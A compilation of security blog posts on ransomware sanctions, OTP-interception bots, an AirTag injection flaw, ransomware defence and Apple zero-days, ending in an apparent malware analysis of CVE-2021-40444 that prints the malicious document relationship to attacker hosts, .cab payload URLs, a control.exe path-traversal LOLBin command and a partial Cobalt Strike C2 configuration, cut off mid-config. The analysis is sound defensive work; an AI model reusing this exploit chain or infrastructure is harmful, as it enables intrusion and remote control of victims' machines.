Ransom Payments and Victim Notice Requirements Come under Federal Scrutiny

There is no shortage of victims when Ransomware appears. And last week, the White House announced sanctions for the first time against a crypto currency broker (SUEX OTC) in Russia. The WSJ reported that SUEX was “helping to launder ransomware payments.” It is expected that the US Treasury will also announce broader sanctions against the use of crypto currency to meet ransom demands.

SUEX has received over $160 million in Bitcoin alone from ransomware, scams and darknet operators according to Chainalysis. This approach targets the funding source and will make it more difficult for hackers to process their illicit payments. SUEX has received “nearly $13 million from ransomware operators Conti, Maze and Ryuk.”

A Sanction Waiting To Happen

This enforcement action was inevitable. The FBI testified at US Senate hearings that over $1 billion in demands were made in 2020 in crypto related ransom payments. It’s not just a USA problem either: many countries are scrambling to cut off the funds that drive these criminal syndicates. Last year, the US Treasury Office of Foreign Assets Control (OFAC), released an Advisory that cautioned companies from paying ransom to Specially Designated Nationals (SDNs), (covered in detail here). This week, they updated their guidance and there are a few strong themes present.

“OFAC is doubling down on the importance of careful diligence in connection with any payment, including a push for cooperation with law enforcement and other agencies” said Luke Dembosky, Partner, Debevoise Plimpton.

Companies are on notice that they must have procedures in place to determine if a payment has a nexus to an SDN or malware group. This can be tricky as attribution is not an exact science.

This is a complex problem to solve because not all companies are prepared for a ransom attack. The Advisory points to the US Treasury Framework for Compliance and CISA Ransomware Guide and says, if you do these things, put backups in place, patch systems regularly, implement Risk Based assessments Technical Controls (EDR) and Incident Response Plans. Then, if you are caught in a ransom SDN situation, you will likely not be fined.

“Biden’s Executive Order is a call to action by federal agencies to do something (anything) about the relentless cyber attacks by nation state actors”, said Justine Phillips, Partner, Sheppard Mullin. “This new guidance will not impact how our team investigates and evaluates ransomware attacks because we will continue using professional ransom surrogates that vet the bitcoin wallets and accounts, to understand whether the account could be associated or controlled by a group on OFAC’s naughty list.”

Sharing Data Can Aid The Fight Against Ransomware

The guidance continues to create incentives for another important initiative: data sharing. Every ransom attack provides valuable data about the code, the crypto wallets, the threat actors…and if you offer up that information “willingly” then that will weigh in your favor. Sharing data is a good thing, and here it is positioned as having an added benefit, since the victim is actively trying to help the FBI. This is a community wide problem that requires a Public-Private solution and this approach is needed.

The ransoms are generally paid by experts who are able to run the required checks on SDNs. I asked David Nides, Principal at KPMG LLP, if this advisory will impact how they address client incidents. “It is good to see the advancement of actions to disrupt payments but more robust advisories will be needed to make a true impact. I do not see the latest advisory changing how we technically respond and investigate incidents.”

Cyber insurance carriers and brokers are also closely tracking these developments. “With this most recent OFAC action, we may see insureds not being able to make extortion payments and/or insurers unable to reimburse extortion payments. This could ultimately lead to larger BI related losses related to ransomware events,” said Jesus Gonzalez, Deputy Global Practice Leader, Intangible Assets, Aon insurance brokerage.

CISA Asks For Tighter Reporting Guidelines

Also this week, the Director for Cybersecurity and Infrastructure Security Agency (CISA) Jen Easterly, asked Congress to tighten guidelines for reporting by critical infrastructure companies when a ransom attack occurs.

Director Easterly asked for a 24 hour reporting window because the compressed response times require the ability to share valuable threat data and track crypto wallets in pursuit of the hackers. These data are diluted as time passes. The request for heightened reporting standards would also carry financial penalties for those companies choosing not to report.

Some insurance experts estimate that only 10% – 15% of actual cyber attacks are reported. They just don’t report because it puts a spotlight on them and if they are a public company, it could impact their stock. The SEC guidelines require disclosure to investors about material cybersecurity risks, even if they haven’t experienced a cyber attack. Would these new rules, if put in place, drive the reporting that is necessary? Many companies fear liability from lawsuits if they admit that they had inadequate security controls and processes in place.

6 Reasons Why Ransomware Is Not Going To Be Stopped

Conclusion

There is growing consensus that ransomware payments should be outlawed, but given the state of company backups and preparedness, this isn’t likely in the short term. However, Federal action since the Colonial Pipeline incident shows resolve to strike back against the criminal syndicates. Combined with international coordinated technical responses like that against Emotet, we are seeing a more offensive posture by law enforcement and regulators that is welcomed by corporate victims.

For now, your best bet is to implement and test your IR plan, technical controls and backups. Review your risk planning and tech stack with your cyber insurance broker in advance of policy renewal, to ensure that you comply with the stringent new underwriting guidelines.


Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

The Rise of One-Time Password Interception Bots

In February, KrebsOnSecurity wrote about a novel cybercrime service that helped attackers intercept the one-time passwords (OTPs) that many websites require as a second authentication factor in addition to passwords. That service quickly went offline, but new research reveals a number of competitors have since launched bot-based services that make it relatively easy for crooks to phish OTPs from targets.

An ad for the OTP interception service/bot “SMSRanger.”

Many websites now require users to supply both a password and a numeric code/OTP token sent via text message, or one generated by mobile apps like Authy and Google Authenticator. The idea is that even if the user’s password gets stolen, the attacker still can’t access the user’s account without that second factor — i.e. without access to the victim’s mobile device or phone number.

The OTP interception service featured earlier this year Otp[.]agency — advertised a web-based bot designed to trick targets into giving up OTP tokens. This service (and all others mentioned in this story) assumes the customer already has the target’s login credentials through some means.

OTP Agency customers would enter a target’s phone number and name, and then the service would initiate an automated phone call that alerts that person about unauthorized activity on their account. The call would prompt the target to enter an OTP token generated by their phone’s mobile app (“for authentication purposes”), and that code would then get relayed back to the bad guy customers’ panel at the OTP Agency website.

OTP Agency took itself offline within hours of that story. But according to research from cyber intelligence firm Intel 471, multiple new OTP interception services have emerged to fill that void. And all of them operate via Telegram, a cloud-based instant messaging system.

“Intel 471 has seen an uptick in services on the cybercrime underground that allow attackers to intercept one-time password (OTP) tokens,” the company wrote in a blog post today. “Over the past few months, we’ve seen actors provide access to services that call victims, appear as a legitimate call from a specific bank and deceive victims into typing an OTP or other verification code into a mobile phone in order to capture and deliver the codes to the operator. Some services also target other popular social media platforms or financial services, providing email phishing and SIM swapping capabilities.”

Intel471 says one new Telegram OTP bot called “SMSRanger” is popular because it’s remarkably easy to use, and probably because of the many testimonials posted by customers who seem happy with its frequent rate of success in extracting OTP tokens when the attacker already has the target’s “fullz,” personal information such as Social Security number and date of birth. From their analysis:

“Those who pay for access can use the bot by entering commands similar to how bots are used on popular workforce collaboration tool Slack. A simple slash command allows a user to enable various ‘modes’ — scripts aimed as various services — that can target specific banks, as well as PayPal, Apple Pay, Google Pay, or a wireless carrier.

Once a target’s phone number has been entered, the bot does the rest of the work, ultimately granting access to whatever account has been targeted. Users claim that SMSRanger has an efficacy rate of about 80% if the victim answered the call and the full information (fullz) the user provided was accurate and updated.”

Another OTP interception service called SMS Buster requires a tad more effort from a customer, Intel 471 explains:

“The bot provides options to disguise a call to make it appear as a legitimate contact from a specific bank while letting the attackers choose to dial from any phone number. From there, an attacker could follow a script to trick a victim into providing sensitive details such as an ATM personal identification number (PIN), card verification value (CVV) and OTP, which could then be sent to an individual’s Telegram account. The bot, which was used by attackers targeting Canadian victims, gives users the chance to launch attacks in French and English.” 

These services are springing up because they work and they’re profitable. And they’re profitable because far too many websites and services funnel users toward multi-factor authentication methods that can be intercepted, spoofed, or misdirected — like SMS-based one-time codes, or even app-generated OTP tokens.

The idea behind true “two-factor authentication” is that the user is required to present two out of three of the following: Something they have (mobile devices); something they know (passwords); or something they are (biometrics). For example, you present your credentials to a website, and the site prompts you to approve the login via a prompt that pops up on your registered mobile device. That is true two-factor authentication: Something you have, and something you know (and maybe also even something you are).

The 2fa SMS Buster bot on Telegram. Image: Intel 471.

In addition, these so-called “push notification” methods include important time-based contexts that add security: They happen directly after the user submits their credentials; and the opportunity to approve the push notification expires after a short period.

But in so many instances, what sites request is basically two things you know (a password and a one-time code) to be submitted through the same channel (a web browser). This is usually still better than no multi-factor authentication at all, but as these services show there are now plenty of options of circumventing this protection.

I hope these OTP interception services make clear that you should never provide any information in response to an unsolicited phone call. It doesn’t matter who claims to be calling: If you didn’t initiate the contact, hang up. Don’t put them on hold while you call your bank; the scammers can get around that, too. Just hang up. Then you can call your bank or whoever else you need.

Unfortunately, those most likely to fall for these OTP interception schemes are people who are less experienced with technology. If you’re the resident or family IT geek and have the ability to update or improve the multi-factor authentication profiles for your less tech-savvy friends and loved ones, that would be a fabulous way to show you care — and to help them head off a potential disaster at the hands of one of these bot services.

When was the last time you reviewed your multi-factor settings and options at the various websites entrusted with your most precious personal and financial information? It might be worth paying a visit to 2fa.directory (formerly twofactorauth[.]org) for a checkup.

It’s Time to Define the M&A Playbook for a Hyperscale Infrastructure Software Business

I am thrilled to be joining the SentinelOne team as SVP, Corporate Development. The last 18 months have been unprecedented on many levels starting with the Covid pandemic, which has impacted so many lives, businesses and overall perspective on the future. This same time period has also seen a tremendous increase in the amount of cyberattacks as a result of the overnight shift to remote work, the rise of cybercrime organizations, and the increased offensive activity of nation states. The devastating impact of all this plays out in IT and security departments of organizations of all sizes on a daily basis.

The past 18 months also made me realize just how much I missed being part of a company as it scales and enters new markets, building a team for the next phase of growth, and massively impacting the strategy and opportunity of a company through capabilities such as mergers and acquisitions (M&A). I am grateful to have witnessed the transformative power of M&A early in my career, having learned and then led this function during a long run at Cisco. I also want to thank KKR, where it has been a privilege to work for a firm that has been successful across many asset classes and industries – from real estate to technology, from private equity to growth.

The chance to join SentinelOne was a special opportunity for me. The company has a passionate and visionary founder that has become an amazing CEO and cultural leader, a massive market that is predominantly occupied by legacy players, and a differentiated technology that represents the intersection of four massive trends – cloud, security, data and AI.

One outcome of all this is that SentinelOne is one of the fastest growing public software companies in the world. It is exhilarating to imagine what this company can become five years from today.

Many companies in the hyper growth phase don’t think of M&A as a core part of their strategy, or when they do, they often relegate it to acqui-hire types of deals. This is where SentinelOne can be different, and it has already demonstrated this early on with acquisitions such as Scalyr. While there have been some legendary companies that have leveraged M&A (often in very different ways) – Broadcom, Cisco, Facebook, Google, Oracle and Salesforce to name a few – the M&A playbook for a hyperscale, infrastructure software business has yet to be written. The opportunity to define that playbook, in collaboration with the amazing team at SentinelOne, and what this can mean for our customers and investors, was simply too good to pass up.

There are many parallels between being a successful multi-stage/multi-asset class investor and growing a company. In growing a company you have limited “investment” capabilities – capital, resources, time – but an unlimited spectrum of opportunities to apply those to: low risk/low reward, high risk/high reward, and so much more. The best and most enduring companies have found a way to do this across many “asset classes” and spectrums of risk. And now there is the opportunity to bring all of this together: the best learnings from the investment world with the best of the M&A world, and apply it to hypergrowth.

At SentinelOne the journey is just beginning. The intersection of data, security, cloud and AI will open up more possibilities than we can imagine or build ourselves. Many of these opportunities will be closely aligned to the SentinelOne platform while others will become the seeds for category-defining companies in the future.

In addition to being the leading platform at the intersection of these massive trends, SentinelOne’s vision is to encourage, invest and partner with a future generation of entrepreneurs and companies that share this passion.

Cybersecurity is something we should all care about: it is critical in protecting the digital world we all live and work in. Our promise is to be a force for good. I am excited to be joining a team at the forefront of this battle and am humbled by the work which remains to be done here.

If you would like to learn more about SentinelOne’s industry-leading cybersecurity platform and how it can protect your organization, contact us or request a free demo.


Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

Apple AirTag Bug Enables ‘Good Samaritan’ Attack

The new $30 AirTag tracking device from Apple has a feature that allows anyone who finds one of these tiny location beacons to scan it with a mobile phone and discover its owner’s phone number if the AirTag has been set to lost mode. But according to new research, this same feature can be abused to redirect the Good Samaritan to an iCloud phishing page — or to any other malicious website.

The AirTag’s “Lost Mode” lets users alert Apple when an AirTag is missing. Setting it to Lost Mode generates a unique URL at https://found.apple.com, and allows the user to enter a personal message and contact phone number. Anyone who finds the AirTag and scans it with an Apple or Android phone will immediately see that unique Apple URL with the owner’s message.

When scanned, an AirTag in Lost Mode will present a short message asking the finder to call the owner at at their specified phone number. This information pops up without asking the finder to log in or provide any personal information. But your average Good Samaritan might not know this.

That’s important because Apple’s Lost Mode doesn’t currently stop users from injecting arbitrary computer code into its phone number field — such as code that causes the Good Samaritan’s device to visit a phony Apple iCloud login page.

A sample “Lost Mode” message. Image: Medium @bobbyrsec

The vulnerability was discovered and reported to Apple by Bobby Rauch, a security consultant and penetration tester based in Boston. Rauch told KrebsOnSecurity the AirTag weakness makes the devices cheap and possibly very effective physical trojan horses.

“I can’t remember another instance where these sort of small consumer-grade tracking devices at a low cost like this could be weaponized,” Rauch said.

Consider the scenario where an attacker drops a malware-laden USB flash drive in the parking lot of a company he wants to hack into. Odds are that sooner or later some employee is going to pick that sucker up and plug it into a computer — just to see what’s on it (the drive might even be labeled something tantalizing, like “Employee Salaries”).

If this sounds like a script from a James Bond movie, you’re not far off the mark. A USB stick with malware is very likely how U.S. and Israeli cyber hackers got the infamous Stuxnet worm into the internal, air-gapped network that powered Iran’s nuclear enrichment facilities a decade ago. In 2008, a cyber attack described at the time as “the worst breach of U.S. military computers in history” was traced back to a USB flash drive left in the parking lot of a U.S. Department of Defense facility.

In the modern telling of this caper, a weaponized AirTag tracking device could be used to redirect the Good Samaritan to a phishing page, or to a website that tries to foist malicious software onto her device.

Rauch contacted Apple about the bug on June 20, but for three months when he inquired about it the company would say only that it was still investigating. Last Thursday, the company sent Rauch a follow-up email stating they planned to address the weakness in an upcoming update, and in the meantime would he mind not talking about it publicly?

Rauch said Apple never acknowledged basic questions he asked about the bug, such as if they had a timeline for fixing it, and if so whether they planned to credit him in the accompanying security advisory. Or whether his submission would qualify for Apple’s “bug bounty” program, which promises financial rewards of up to $1 million for security researchers who report security bugs in Apple products.

Rauch said he’s reported many software vulnerabilities to other vendors over the years, and that Apple’s lack of communication prompted him to go public with his findings — even though Apple says staying quiet about a bug until it is fixed is how researchers qualify for recognition in security advisories.

“I told them, ‘I’m willing to work with you if you can provide some details of when you plan on remediating this, and whether there would be any recognition or bug bounty payout’,” Rauch said, noting that he told Apple he planned to publish his findings within 90 days of notifying them. “Their response was basically, ‘We’d appreciate it if you didn’t leak this.’”

Rauch’s experience echoes that of other researchers interviewed in a recent Washington Post article about how not fun it can be to report security vulnerabilities to Apple, a notoriously secretive company. The common complaints were that Apple is slow to fix bugs and doesn’t always pay or publicly recognize hackers for their reports, and that researchers often receive little or no feedback from the company.

The risk, of course, is that some researchers may decide it’s less of a hassle to sell their exploits to vulnerability brokers, or on the darknet — both of which often pay far more than bug bounty awards.

There’s also a risk that frustrated researchers will simply post their findings online for everyone to see and exploit — regardless of whether the vendor has released a patch. Earlier this week, a security researcher who goes by the handle “illusionofchaos” released writeups on three zero-day vulnerabilities in Apple’s iOS mobile operating system — apparently out of frustration over trying to work with Apple’s bug bounty program.

Ars Technica reports that on July 19 Apple fixed a bug that llusionofchaos reported on April 29, but that Apple neglected to credit him in its security advisory.

“Frustration with this failure of Apple to live up to its own promises led illusionofchaos to first threaten, then publicly drop this week’s three zero-days,” wrote Jim Salter for Ars. “In illusionofchaos’ own words: ‘Ten days ago I asked for an explanation and warned then that I would make my research public if I don’t receive an explanation. My request was ignored so I’m doing what I said I would.’”

Rauch said he realizes the AirTag bug he found probably isn’t the most pressing security or privacy issue Apple is grappling with at the moment. But he said neither is it difficult to fix this particular flaw, which requires additional restrictions on data that AirTag users can enter into the Lost Mode’s phone number settings.

“It’s a pretty easy thing to fix,” he said. “Having said that, I imagine they probably want to also figure out how this was missed in the first place.”

Apple has not responded to requests for comment.

Update, 12:31: Rauch shared an email showing Apple communicated their intention to fix the bug just hours before — not after — KrebsOnSecurity reached out to them for comment. The story above has been changed to reflect that.

Why Defense-in-Depth is Key to Defeating Ransomware

Preventing ransomware attacks is top of mind for everyone from IT admins, CISOs, CEOs to governments. And while it’s not a new problem, an unrelenting series of successful and devastating ransomware attacks has refocused the world’s attention on it.

Simultaneously, threat actors only grow more sophisticated by the day, making it more critical than ever for enterprises to develop a comprehensive prevention and protection strategy—before irreparable damage is done.

Ransomware – Still Going Strong and No End in Sight

In March 2021, a ransomware attack on the Buffalo Public School system in New York caused the district to shut down for a week. That month, a Taiwan-based PC manufacturer also came under attack and was demanded a $50 million ransom by attackers. CNA, one of the largest insurance carriers in the U.S., was hit with a ransomware attack, and according to Bloomberg, paid a $40 million ransom to its attackers. Ireland’s Public Health Services shut down its IT systems as a result of a ransomware attack causing a major disruption to its health services. This trend persisted, with the Colonial Pipeline attack that disrupted fuel supply to much of the U.S. East Coast for several days, and on  JBS, a major U.S. beef manufacturer, that halted operations for a few days. The list goes on.

In response to this unprecedented surge in ransomware attacks, the US Government issued an Executive Order on Improving the Nation’s Cybersecurity, and an interagency task force is being assembled to develop a comprehensive response to the rampant ransomware attacks on US businesses and government. The response includes developing capabilities to identify, deter, protect against, detect, and respond to ransomware attacks. Countermeasures include tactics such as actively disrupting cyber criminal operations responsible for ransomware attacks, addressing the use of cryptocurrency to pay ransom, and mandating better security approaches to thwart attacks, including the adoption of Zero Trust Architecture.

How Attackers Gain Initial Access

To prevent a ransomware attack, and most other malware attacks for that matter, defenders must stave off attackers’ attempts to establish a foothold on the network. Thus, endpoint security prevention, detection, and remediation becomes a crucial strategy.

Broadly speaking, attackers typically use one of two tactics to gain initial access to a network:

  1. Successfully exploiting a vulnerability in their victim’s network. Exploiting a vulnerability means finding a software defect or bug that can be manipulated to deploy malicious code, or uncovering a misconfiguration that will give an attacker an entry point to deploy code. Such vulnerabilities can occur through misconfiguration of cloud resources, for example, or via 3rd party dependencies, which can lead to compromise from a supply chain attack.
  2. Gaining unauthorized access to a valid account. Unauthorized access to a valid account is achieved by stealing credentials to a user account via social engineering.
Highest Impact Prevention Strategies Against Ransomware
Join our joint webinar with Lenvovo, Secret Double Octopus and SentinelOne

Defenders burdened with legacy security suites and yesterday’s strategies are struggling to keep their data safe in a world where ransomware attacks are proliferating through easier accessibility. Without changing their approach, resourceful attackers will continue to find vulnerabilities to exploit and users to fool.

Preventing Compromise Through a Multi-Layered Approach

Next generation identity and AI-based endpoint protection offer a better solution against ransomware. Traditional, earlier generation solutions such as password-based authentication or endpoint protection built on AV signatures have serious deficiencies in stopping modern-day ransomware. Since the point of prevention is to stop initial infiltration, let us analyze specifically how these modern day security solutions can offer new weapons in the fight against ransomware.

Tactic #1: Deploy Attack-Resistant User Authentication

Many successful ransomware attacks get their initial foothold on their victim’s network by deciphering or stealing credentials belonging to a valid account. To effectively prevent this, robust user authentication credentials are needed—credentials that are hard to guess, break or steal.

In the successful attack earlier this year on Colonial Pipeline, for example, access to a valid account provided attackers with initial access. Similarly, the attack entry point for MAZE and other human-operated ransomware is often a stolen password to an internet-facing system accessed via RDP or logging into a Citrix web portal account with a weak password.

Traditional multi-factor authentication (MFA) approaches help address the security vulnerabilities inherent to passwords, but they still fundamentally rely on something a human user must remember and know, and phone-based approaches are not 100% secure. More importantly, the added security of MFA comes with significant costs to own and operate the solution, causing significant user angst.

Passwordless MFA prevents credential theft and makes guessing passwords an impossibility for attackers. Passwordless MFA uses multiple factors of authentication, but it excludes traditional passwords. The most commonly used authentication factors for passwordless MFA are the user’s registered mobile device, together with a user PIN or fingerprint via the device’s built-in fingerprint sensor. By removing the need for traditional passwords, security is immediately and inherently improved, user experience is streamlined, and costs are contained.

Tactic #2. Immediate Detection, Quarantining, and Removal of Ransomware

Realistically, having preventative measures in place doesn’t guarantee that attackers won’t ever penetrate the perimeter and gain access to a user’s device. Your next best line of defense is an autonomous, machine-speed protection, detection, and response mechanism that can detect and contain suspicious activity at the endpoint level—before any downstream data loss, financial loss, or time investment is incurred.

Modern Extended Detection & Response (XDR) solutions monitor local processes in real time and analyze their behaviors in detail, making it possible to identify malicious code with very high specificity and take immediate mitigation steps. This way, the attack is stopped the moment it starts —before threat actors can access their desired targets—whether executed from local memory or remotely.

From a technical standpoint, options for mitigation vary – the system can delete the code’s source, kill all relevant processes, quarantine suspicious files, or disconnect the afflicted endpoint from the network altogether, depending on circumstance and organizational policies.

Stopping an in-progress attack is the most important job of any XDR solution, but its role doesn’t stop there. After taking critical steps to stop an ongoing attack, IT and security teams must get a detailed forensic view that includes a timeline of the malware’s activity, its entry point and attack vector, and a list of all affected files and networks. Administrators can then analyze the attack to better prepare for future threats and provide their superiors, law enforcement, and insurers with all relevant data.

Tactic #3. Rolling Back Changes from Ransomware

The third element in this multi-layered approach, and perhaps the most crucial for those affected by ransomware, is the ability to turn back the clock and restore all assets and configurations to their original state before the attack. This critical step enables a speedy recovery and assures complete business continuity, regardless of how wide and deep an attack hits.

Previously unknown malware or new attack tactics might not get caught and blocked automatically by the detection component, so undoing its actions is the only safeguard left. Moreover, the danger is not limited to files being encrypted or deleted. Malware can also change access permissions and security configurations that may be taken advantage of in subsequent attacks.

Such multi-step attacks are commonly employed by hackers targeting corporate networks and public infrastructure, and pose a particularly dangerous threat. In these long-term campaigns, the first stage is often intended only to plant the seeds for easier execution of attacks on specific dates like holidays or around important business events. This way, attackers surprise their victims and capitalize on their lack of preparedness, leaving them no choice but to pay the full ransom amount.

Automatic reversion of all changes executed by malicious or suspicious codes, no matter how small, gives administrators a safety net, protecting them and the entire domain from the dire consequences of successful cyberattacks.

An Extensive Security Stack for Ransomware Prevention

In summary, the key goal for cybersecurity architects and defenders of enterprise networks is prevention, and when it comes to ransomware, prevention is all about denying attackers initial access to any part of the enterprise. A comprehensive strategy includes making user authentication attack resistant, immediately detecting and removing threats, and lastly, rolling back all actions taken by attackers and their malware on undetectable attacks.

Ebook: Understanding Ransomware in the Enterprise
This guide will help you understand, plan for, respond to and protect against this now-prevalent threat. It offers examples, recommendations and advice to ensure you stay unaffected by the constantly evolving ransomware menace.

It all starts with the endpoint – and the intrinsic security capabilities of that endpoint. Lenovo’s ThinkShield incorporates supply chain security and below-OS security capabilities with SentinelOne and Secret Double Octopus have teamed with Lenovo to bring a multi-layered approach to ransomware security and better protect enterprises. SentinelOne’s leading XDR platform, Singularity™, makes verdicts and acts in real time to stop the delivery of ransomware on end user and cloud workload endpoints. Double Octopus’ Passwordless Enterprise platform makes it impossible for attackers to use brute forced or stolen credentials to gain a foothold on the network by removing the reliance of passwords, and a user’s weak memory of them, for authentication. The combination provides a highly compelling joint solution that can re-fortify the attack surface defense strategy in your organization.

Interested in learning more? Lenovo, SentinelOne and Secret Double Octopus will be discussing this defense-in-depth approach to combating ransomware on October 12, 10AM PST/1PM EST. Sign up and join the webinar here.

Highest Impact Prevention Strategies Against Ransomware
Join our joint webinar with Lenvovo, Secret Double Octopus and SentinelOne


Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

The Good, the Bad and the Ugly in Cybersecurity – Week 39

The Good

As we’ve noted before, the proliferation of ransomware is predicated on, among other things, the use of cryptocurrencies to facilitate the ease of criminals to receive payment and launder their profits. So we were delighted to learn this week that the U.S. Treasury Department has taken the step of sanctioning a cryptocurrency exchange for its role in laundering cyber ransoms for groups such as Ryuk, Conti, and Maze.

SUEX OTC, S.R.O. (aka “SUCCESSFUL EXCHANGE”) was added to the Office of Foreign Assets Control’s (OFAC) list of specially designated nationals on Tuesday. The designation prevents any U.S. person or business from engaging in transactions with SUEX and blocks all SUEX assets that are subject to U.S. jurisdiction. Organizations that engage in transactions with SUEX could also face sanctions or be subject to enforcement action. Ransomware victims should be especially careful to note that they could face potential sanctions for facilitating a ransomware payment to a sanctioned entity, and OFAC has updated its guidance on this as well.


Source

According to analysts, SUEX has received over $160 million in bitcoin from “illicit and high-risk sources” since 2018. Of that, $13 million is estimated to come from ransomware operators like Ryuk, Conti and Maze, $20 million from darknet markets, $24 million from scam operators, and $50 million from the illicit cryptocurrency exchange BTC-e, itself shut down in 2017 for laundering money for cybercriminals. The sanction against SUEX is a welcome step in cutting off cybercriminals’ access to easy payments. Let’s hope there’s more to come.

The Bad

Last week saw the beginning of a tough period for Apple with the FORCEDENTRY (aka CVE-2021-30860) exploit. Things have gone from bad to worse since then.

Thursday saw Apple back port a fix for FORCEDENTRY to iOS 12.5.4. It also released a patch for an entirely different zero-day (CVE-2021-30869) on macOS Catalina with the warning that the company was aware of an exploit in the wild leveraging the privilege escalation in the XNU kernel.

Earlier in the week, a researcher dropped an interesting-but-not-particularly dangerous macOS vulnerability that allows the unexpected execution of other files on the system.

A file with the .inetloc, .fileloc, .webloc, or .url extension can launch other executables on the system when double-clicked without first asking permission from the user.




  
    URL
    FiLe:////////////////////////System/Applications/Calculator.app
  

Reports that this could lead to remote code execution, however, were a little wide of the mark. The technique cannot be used to execute embedded code, though it could potentially be used to launch other files passed to the victim by an attacker. Such files themselves, however, could still trip over Gatekeeper, depending on the circumstances. Unconfirmed reports suggest the same researcher may have other, related bugs to reveal, so stay tuned for more on that.

Of more immediate concern, particularly to iOS users, was a raft of zero days published this week expressly because the researcher felt that Apple had not acted fairly or transparently to his attempts at responsible disclosure. Some of these exploits allow an application to escape sandboxing and read potentially sensitive data from Mail, Health, and other apps.

Rounding out the week’s dire security news for the Cupertino company, a Spanish iOS researcher dropped yet another (albeit, minor) zero day citing similar reasons of disenchantment with Apple’s treatment of his bug bounty submissions.

All in all, quite a week of bad news for Apple and its customers. Let’s hope that relations between the company and security researchers take a turn for the better going forward.

The Ugly

More details have emerged around the story we reported on last week regarding REvil’s reemergence and the appearance of a universal decryptor for previous victims. It’s a story that brings into sharp relief the challenges faced by both law enforcement and victims when dealing with the ransomware threat.

According to a report, mitigation for the recent mass-scale ransomware campaign conducted by REvil against Kaseya and its clients was deliberately delayed by the FBI. The agency reportedly secretly acquired a universal decryptor but held onto it for three weeks rather than giving it to victims.

The FBI had hoped to conduct an operation that would disrupt or take down the REvil gang and did not want to reveal their hand by exposing their possession of the key. For three weeks, many victims including schools and hospitals struggled with the effects of the ransomware, and all told businesses incurred millions of dollars in losses.

Balancing the immediate needs of victims against the longer-term payoff of putting a crimeware gang out of action is obviously a tough call, but it gets tougher when the strategy turns out to have been a flop.

By the time the FBI were ready to put their plan into action, the REvil gang had already done a disappearing act and the operation was no longer viable.

Strange coincidence or were the FBI’s operational plans themselves leaked by a hack? We’ll likely never know, but the end result is that the REvil gang is back in town, the FBI’s plan came to nothing, and a lot of victims are feeling the pain. Let’s hope the good guys have better luck next time.


Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

Peeking into CVE-2021-40444 | MS Office Zero-Day Vulnerability Exploited in the Wild

Microsoft Office has long been a common attack vector, with abuse of its macro functionality a firm favorite of phishing and malspam attacks. These typically attempt to infect users through maliciously crafted Word or Excel files received as an attachment or as a download link via email. Macro-based attacks, however, require an extra social engineering step or two as such functionality has to be explicitly approved by the user on a per-document basis. CVE-2021-40444, however, is a Microsoft Office MSHTML Remote Code Execution Vulnerability that requires no macros and only a single approval to “display content”. Threat actors wasted no time in putting this zero day vulnerability to ill-use before Microsoft provided a fix in September’s Patch Tuesday. In this post, we provide a technical analysis of how this CVE is being exploited in the wild.

How Attackers Exploit CVE-2021-40444 In The Wild

Analysis of in-the-wild samples shows that, once approved, the malicious document exploiting CVE-2021-40444 loads remote HTML code with active JavaScript. The code is loaded into a “browser frame” which uses the mshtml.dll HTML Rendering library (one of the founding libraries of the old “Internet Explorer” Windows built-in browser).

A user who opens the malicious document will see a very short progress bar loading the remote content:

Once the remote content is downloaded, a normal Word document is displayed:

Looking at the .docx document relationships:

"<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:hxxp://pawevi[.]com/e32c8df2cf6b7a16/specify.html!x-usc:hxxp://pawevi[.]com/e32c8df2cf6b7a16/specify.html" TargetMode="External"/>"

The “document.xml” contains an htmlfile OLE object:

The attacking code dynamically creates a new HTMLFile ActiveX object in-memory and injects into it JavaScript code that loads an HTML ActiveX installation object. The new object downloads a remote compressed .cab archive (hxxp://hidusi[.]com/e8c76295a5f9acb7/ministry.cab or hxxp://pawevi[.]com/e32c8df2cf6b7a16/differ.cab) containing an .inf file called championship.inf, which is supposed to describe the object’s installation parameters, but in this case is used to disguise the attacker’s DLL payload.

A snippet of the attacking code:

The attackers used a combination of old and new techniques. One of the old-school methods involved mhtml (side.html, help.html, specify.html, mountain.html) to load mime content (rfc: message/822), which is similar to an email message and allows the attackers to retrieve encapsulated payload files and avoid using traditional file downloads over the HTTP protocol.

This means that at least part of the payload will bypass most common web proxies, filtering and content validation systems.

Abusing LOLBins and Cobalt Strike with CVE-2021-40444

A classic characteristic of sophisticated attacks is the use of LOLBins (operating system built-in tools) to disguise the attack as normal system behavior. A well-known LOLBin is control.exe c:windowstasksfile.txt:evil.dll, which loads DLLs hidden inside an “Alternate Data Stream” (a file invisible to the Windows UI). The samples seen-to-date use this technique in combination with a .cpl extension and a “path traversal” to load a file written to disk by Microsoft Word.

This technique abuses Windows control panel control.exe to load the attackers championship.inf file. This file is typically dropped on disk at the following location:

C:Usersappdataroamingtempchampionship.inf

The malware can resolve the relative path to that location as

../../../../../Temp/championship.inf

The compilation date on observed samples was August 20, 2021, meaning this zero day exploit was in the wild at least 25 days before a patch was available.

The final payload is a Cobalt Strike Beacon DLL. Most observed samples communicate with a team server at /static-directory/media.gif and /static-directory/templates.gif to get the payload shellcode of type CobaltStrike_HTTPReverseShellcodex64.

Cobalt Strike Config:

{
  "BeaconType": [
    "HTTPS"
  ],
  "Port": 443,
  "SleepTime": 5000,
  "MaxGetSize": 2796542,
  "Jitter": 22,
  "C2Server": "dodefoh.com,/ml.html,joxinu.com,/hr.html",
  "HttpPostUri": "/ky",
  "Malleable_C2_Instructions": [
    "Remove 338 bytes from the beginning",
    "Base64 decode",
    "NetBIOS decode 'A'"
  ],
  "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
  "HttpGet_Verb": "GET",
  "HttpPost_Verb": "POST",
  "HttpPostChunk": 0,
  "Spawnto_x86": "%windir%syswow64rundll32.exe",
  "Spawnto_x64": "%windir%sysnativerundll32.exe",
  "CryptoScheme": 0,
  "Proxy_Behavior": "Use IE settings",
  "Watermark": 1580103814,
  "bStageCleanup": "True",
  "bCFGCaution": "False",
  "KillDate": 0,
  "bProcInject_StartRWX": "False",
  "bProcInject_UseRWX": "False",
  "bProcInject_MinAllocSize": 16583,
  "ProcInject_PrependAppend_x86": [
    "kJCQkJA=",
    "Empty"
  ],
  "ProcInject_PrependAppend_x64": [
    "kJCQkJA=",
    "Empty"
  ],
